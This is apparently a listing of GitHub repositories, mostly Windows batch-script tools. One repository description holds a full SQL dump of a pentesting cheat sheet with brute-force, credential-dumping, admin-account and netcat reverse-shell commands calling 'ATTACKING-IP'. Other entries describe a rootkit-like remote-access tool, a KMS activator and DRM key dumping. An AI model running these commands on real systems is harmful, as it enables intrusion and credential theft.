+fengyunkkx/FolderIconTool,https://github.com/fengyunkkx/FolderIconTool,One tool for Windows folder icon batch modify. | 一个批量修改 Windows 文件夹图标的小工具。,156,17,Python,2017-10-30T12:37:23Z,2026-09-27T17:43:04Z +AxtMueller/Windows-Batch-Deployment,https://github.com/AxtMueller/Windows-Batch-Deployment,A programmable and rootkit-like Windows remote access tool.,150,51,,2020-03-18T17:21:28Z,2026-09-26T16:50:45Z +Jordan231111/BluestacksRoot,https://github.com/Jordan231111/BluestacksRoot,"Root BlueStacks 5 with real Magisk (Kitsune) in one .cmd file, no traces. Supports the latest 5.22+ with NO downgrade — bypasses the 'illegally tampered' disk-integrity check. Android 9, 11 & 13. Open source.",150,17,Batchfile,2024-01-27T16:50:37Z,2026-10-06T13:56:21Z +Don-No7/Hack-SQL,https://github.com/Don-No7/Hack-SQL,"-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l -p 123 http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u -p -H ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url --usernames --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http:// -w -x -c PHPSESSID=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john --wordlist=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m -a 0 -o --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet /// -U ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u ""http://meh.com/form/"" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb -u -p --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb -u '''' -p '''' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb -u '''' -p '''' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec -u '''' -p '''' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan -A -P', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w: ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep ""report for"" | cut -d "" "" -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="""" ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u """" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u ""
    ?id=1>"" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '', 'execute code via url', '?cmd='); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c ""import pty;pty.spawn(''/bin/sh'');""', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i ""auto"" |findstr /i /v ""c:\windows\\"" |findstr /i /v """"""', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey ""safety checks"" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow > ', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;",148,24,,2022-01-30T17:26:02Z,2026-10-06T17:57:57Z +RedGreenBlue09/WFAv7_Installer,https://github.com/RedGreenBlue09/WFAv7_Installer,Batch script to install Windows 10 ARM desktop version to Lumia devices (dual boot & single boot).,141,15,Shell,2020-03-13T04:24:55Z,2026-10-02T15:27:58Z +KnightDanila/BAT_FFMPEG,https://github.com/KnightDanila/BAT_FFMPEG,"Batch script files for FFMPEG (Microsoft Windows and DOS, OS/2 :unicorn:)",140,28,Batchfile,2018-08-24T15:01:55Z,2026-06-17T14:30:44Z +slyfox1186/script-repo,https://github.com/slyfox1186/script-repo,My personal script repository with multiple languages supported. AHK v1+v2 | BASH | BATCH | JSON | PERL | POWERSHELL | PYTHON | WINDOWS REGISTRY | XML,136,17,Shell,2022-12-24T16:16:44Z,2026-10-05T14:58:17Z +happy05dz/Batch-Script-Collection,https://github.com/happy05dz/Batch-Script-Collection,"Collection of Batch scripts, examples and some details for various commands are considered.",135,22,Batchfile,2017-05-09T13:25:06Z,2026-10-02T19:56:08Z +Pyenb/Outlook-desktop-ad-blocker,https://github.com/Pyenb/Outlook-desktop-ad-blocker,A simple script that patches your systems hosts file to stop the Outlook desktop client from displaying ads in your inbox.,130,3,Batchfile,2023-08-14T19:44:26Z,2026-10-06T11:32:16Z +iKineticate/AHK-ChangeIcon,https://github.com/iKineticate/AHK-ChangeIcon,"只需一步操作，用户即可随心批量更换/恢复快捷方式图标 ( With just one step, users can change or restore the icons of shortcuts in batches as they wish )",130,1,AutoHotkey,2023-09-22T06:43:29Z,2026-08-07T00:22:35Z +PassingTheKnowledge/Batchography,https://github.com/PassingTheKnowledge/Batchography,Scripts and snippets from the Batchography book,129,62,Batchfile,2016-05-11T02:18:46Z,2026-09-19T01:09:39Z +FreakC-Foundation/FreakC,https://github.com/FreakC-Foundation/FreakC,FreakC Programming Language - an experimental Batch-like language written in Batch which compiles to Batch,129,10,Batchfile,2020-07-28T07:13:14Z,2026-04-23T22:36:58Z +m2nlight/WindowsServerToWindowsDesktop,https://github.com/m2nlight/WindowsServerToWindowsDesktop,"A bat script to auto config Windows Server 2016 to ""Windows Desktop""",126,41,Batchfile,2016-11-11T08:52:58Z,2026-09-24T07:51:52Z +jonstephens85/instantngp-batch,https://github.com/jonstephens85/instantngp-batch,Batch files to quickly prepare images and train a NeRF using Instant-NGP. This project only works for Instant-NGP Binaries on Windows.,122,8,Batchfile,2023-01-06T16:30:24Z,2026-04-02T14:55:58Z +vladimir-kharin/1c-batch,https://github.com/vladimir-kharin/1c-batch,"Навык (Skill) для AI-агентов: сборка/разборка обработок 1С в XML, выгрузка/загрузка конфигураций и расширений пакетными командами 1С: Предприятие",121,15,Batchfile,2026-02-07T11:43:30Z,2026-10-06T19:28:40Z +daboynb/windows_scripts,https://github.com/daboynb/windows_scripts,Collection of useful automation scripts for Windows,119,20,PowerShell,2022-10-10T11:54:49Z,2026-09-19T10:43:31Z +sim0n00ps/L3-Dumping,https://github.com/sim0n00ps/L3-Dumping,Batch scripts to dump L3 CDM using frida-server and wvdumper,117,15,Batchfile,2023-08-08T19:26:00Z,2026-09-29T21:30:20Z +Serede/mkvtoolnix-batch,https://github.com/Serede/mkvtoolnix-batch,Windows Batch script to automate batch processing using mkvtoolnix.,116,13,Batchfile,2017-12-19T21:51:03Z,2026-06-29T15:20:07Z +fpoussin/Qt5-MSVC-Static,https://github.com/fpoussin/Qt5-MSVC-Static,Batch scripts that download and build static Qt5 libs on Windows.,116,54,M4,2015-07-23T21:41:20Z,2026-09-15T19:41:38Z +gatoslu/KMS-VL-ALL-CMD,https://github.com/gatoslu/KMS-VL-ALL-CMD,Online/Offline KMS Activator for Microsoft Windows/Office/VisualStudio VL Products,116,38,Batchfile,2018-05-31T15:36:41Z,2026-09-11T05:47:05Z +YasserDRIF/Toggle-Tweaker,https://github.com/YasserDRIF/Toggle-Tweaker,"A script for windows 10 with purpose of tweaking your windows install by removing stuff like windows apps _ Cortana _ Edge, you can also tweak the personalization settings that are hidden and almost everything have a restore option",115,20,Batchfile,2017-01-17T18:01:17Z,2026-08-11T16:52:36Z +Kawwabi/TerabyteTweaker,https://github.com/Kawwabi/TerabyteTweaker,"Terabyte Tweaker is a program written in batch that allows your PC to run at better speeds, it transforms a ""Bad PC"" onto a ""Medium PC"", and turns a ""Medium PC"" into a monster.",114,8,Batchfile,2022-02-22T17:30:11Z,2026-09-29T16:46:18Z +Batlez/Batlez-Tweaks,https://github.com/Batlez/Batlez-Tweaks,"Batlez Tweaks is a free, open-source batch script designed to optimize Windows 11 for the ultimate gaming experience by boosting FPS, reducing latency, and maximizing system performance.",113,18,Batchfile,2022-05-29T22:36:21Z,2026-10-03T05:26:04Z 